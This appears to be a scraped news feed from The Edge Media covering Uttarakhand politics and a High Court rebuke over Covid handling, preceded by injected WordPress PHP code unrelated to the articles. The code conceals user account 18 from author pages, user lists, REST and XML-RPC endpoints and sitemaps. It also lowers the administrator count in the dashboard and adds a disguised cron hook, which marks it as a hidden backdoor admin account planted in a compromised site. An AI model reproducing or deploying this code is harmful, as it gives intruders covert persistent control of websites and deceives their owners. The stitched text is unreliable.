add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Take the chopper, go and see what’s happening.” : HC to Uttrakhand Government appeared first on The Edge Media.
]]>
Addressing to Public Interest Litigation, a bench of Chief Justice RS Chauhan and Justice Alok Verma called the Government of Uttrakhand negligent. They also told that the Government is playing with the lives of millions of people. First Kumbh Mela and now Char dham,. The Court further said that they are ashamed when asked about what is happening to the people of the state.
The court said,” Go and see what is happening. In the video of Kedarnath and Badrinath Temples priests are not following social distancing. even for worshipping, you cannot allow 23 priests to enter the temple, take the chopper and see what is happening in Badrinath and Kedarnath.”
The Uttrakhand High Court showed severe anger and fume towards the state government. for not ensuring that Covid protocols were followed while holding religious events like Kumbh Mela and Char Dham Yatra in the midst of the Covid-19 pandemic. The next hearing on the matter is scheduled for 9th June.
The post “Take the chopper, go and see what’s happening.” : HC to Uttrakhand Government appeared first on The Edge Media.
]]>The post Tirath Singh Rawat will take oath of Chief Minister at Raj Bhavan today appeared first on The Edge Media.
]]>Let us know that from February 2013 to December 2015, Tirath Singh Rawat was taking charge as the state president of Uttarakhand BJP. He is a former MLA (2012-2017) from Chaubattakhal. Currently Tirath Singh Rawat is the national secretary of BJP as well as MP from Garhwal Lok Sabha. In addition to the BJP candidate from Pauri seat, he was also made the election in-charge of Himachal Pradesh in the 2019 Lok Sabha elections. Tirath Singh Rawat was elected the first Education Minister of newly formed Uttarakhand in the year 2000. After this, in 2007, Bharatiya Janata Party was elected the state general secretary of Uttarakhand. He was then the state election officer and the state membership chief. 2013 Uttarakhand was the Chairman of the Divine Disaster Management Advisory Committee.
Sources say that yet another Tirath Singh Rawat is a right choice for the post of Chief Minister. What sets him apart is that he is not identified by any faction in the Uttarakhand BJP.
The post Tirath Singh Rawat will take oath of Chief Minister at Raj Bhavan today appeared first on The Edge Media.
]]>The post Uttarakhand CM Trivendra Singh Rawat resigns appeared first on The Edge Media.
]]>It is believed that the name of the new Chief Minister may be revealed in it. The biggest challenge before the party will be to give a face to the elections, which can give the party a strong comeback in the assembly elections. With this view, Dhan Singh Rawat, who is close to Trivendra Singh Rawat, may get a chance. He is also very active and experienced as a minister. The current Chief Minister can also agree on his name.
However, Satpal Maharaj, who is desirous of becoming the Chief Minister, is also being told in this race. His grip on a section of Uttarakhand is also said to be strong. But his Congress background can become an obstacle in his path. While Anil Baluni enjoys the trust of Prime Minister Narendra Modi and Home Minister Amit Shah, the party sees his larger role in Delhi.
The post Uttarakhand CM Trivendra Singh Rawat resigns appeared first on The Edge Media.
]]>